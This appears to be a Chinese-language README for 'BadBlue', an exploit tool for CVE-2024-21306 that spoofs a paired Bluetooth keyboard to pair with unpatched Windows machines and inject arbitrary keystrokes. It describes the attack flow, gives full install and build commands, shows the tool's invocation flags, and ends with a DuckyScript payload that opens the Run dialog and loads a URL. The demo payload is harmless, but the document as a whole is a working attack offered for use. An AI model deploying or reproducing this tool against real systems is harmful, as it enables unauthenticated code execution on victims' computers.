CVE-2024-21306 BadBlue 实现(使用 DuckyScript)
未经身份验证的对等连接导致代码执行(使用 HID 键盘)
BadBlue 是一个强大的工具,用于利用蓝牙设备中的漏洞。通过运行此脚本,您可以:
我已在任何 Raspberry Pi 4 和 VirtualBox 上成功运行此工具,使用 CSR 4.0、ORICO 4.0 等蓝牙模块。它适用于版本低于 .3007 的各种 Windows 系统。 Windows 计算机必须已与蓝牙键盘配对,并且键盘必须关闭(或超出范围)。
攻击者使用 Ubuntu(Kali 可以运行但不推荐)计算机和基于 Broadcom 的蓝牙适配器(CSR 4.0 也许可以运行),伪装目标键盘的地址,连接到 Windows 计算机上的 L2CAP 17,同时指定 NoInputNoOutput SSP 配对能力。
受害者将看到一条通知,显示 Add a device Tap to set up your <Keyboard Name>。
如果他们忽略通知,则不会发生任何事情。
如果他们点击通知,将看到一个蓝牙配对请求对话框。
如果受害者打开了 Add a Bluetooth device 界面,他们将不会看到通知,而是会立即看到一个模态对话框形式的配对请求。
一旦配对请求对话框关闭,即使受害者点击了 Cancel 或 X,攻击者也能完成配对。配对完成后,攻击者连接到 L2CAP 17(HID 控制)。
然后攻击者可以连接到 L2CAP 19(HID 中断),并能够注入任意按键。
# update apt
sudo apt-get update && sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump git \
python3-pip python3-setuptools \
libbluetooth-dev dbus-x11
# configure bluetoothd to run in compatibility mode to support sdptool
sudo sed -i "s|ExecStart=/usr/lib/bluetooth/bluetoothd|ExecStart=/usr/lib/bluetooth/bluetoothd --compat|g" /lib/systemd/system/bluetooth.service
sudo systemctl daemon-reload
sudo systemctl restart bluetooth
# install pybluez
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
python3 -m pip install pydbus
# build bdaddr from bluez
cd ~
git clone https://github.com/bluez/bluez.git
cd bluez
gcc -o bdaddr tools/bdaddr.c src/oui.c -lbluetooth -I.
sudo cp bdaddr /usr/local/bin/
# clone this repository
git clone https://github.com/PhucHauDeveloper/BadBlue.git
cd BadBlue
python3 BadBlue.py
./BadBlue.py -i <Interface> -k <Keyboard-Address> -c <Windows-Address>Cancel 或 Approve)-k 是键盘(默认为我的键盘 F4:73:35:7A:4B:BB,您需要更改它)
-i 是接口(默认为 hci0)
-c 是目标 Windows 设备(留空则工具自动扫描)
正在进行中:
可能是您首次使用且缺少 readchar,请使用以下命令:
pip install readchar
此工具应在 GUI 环境下运行,CLI 可能会导致 dbus-launch 错误,如果您知道如何修复,请联系我。
REM 载荷标题
STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<.>/?
GUI D
REM 打开 RickRoll
DELAY 200
GUI r
DELAY 200
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
DELAY 300
ENTER
DELAY 300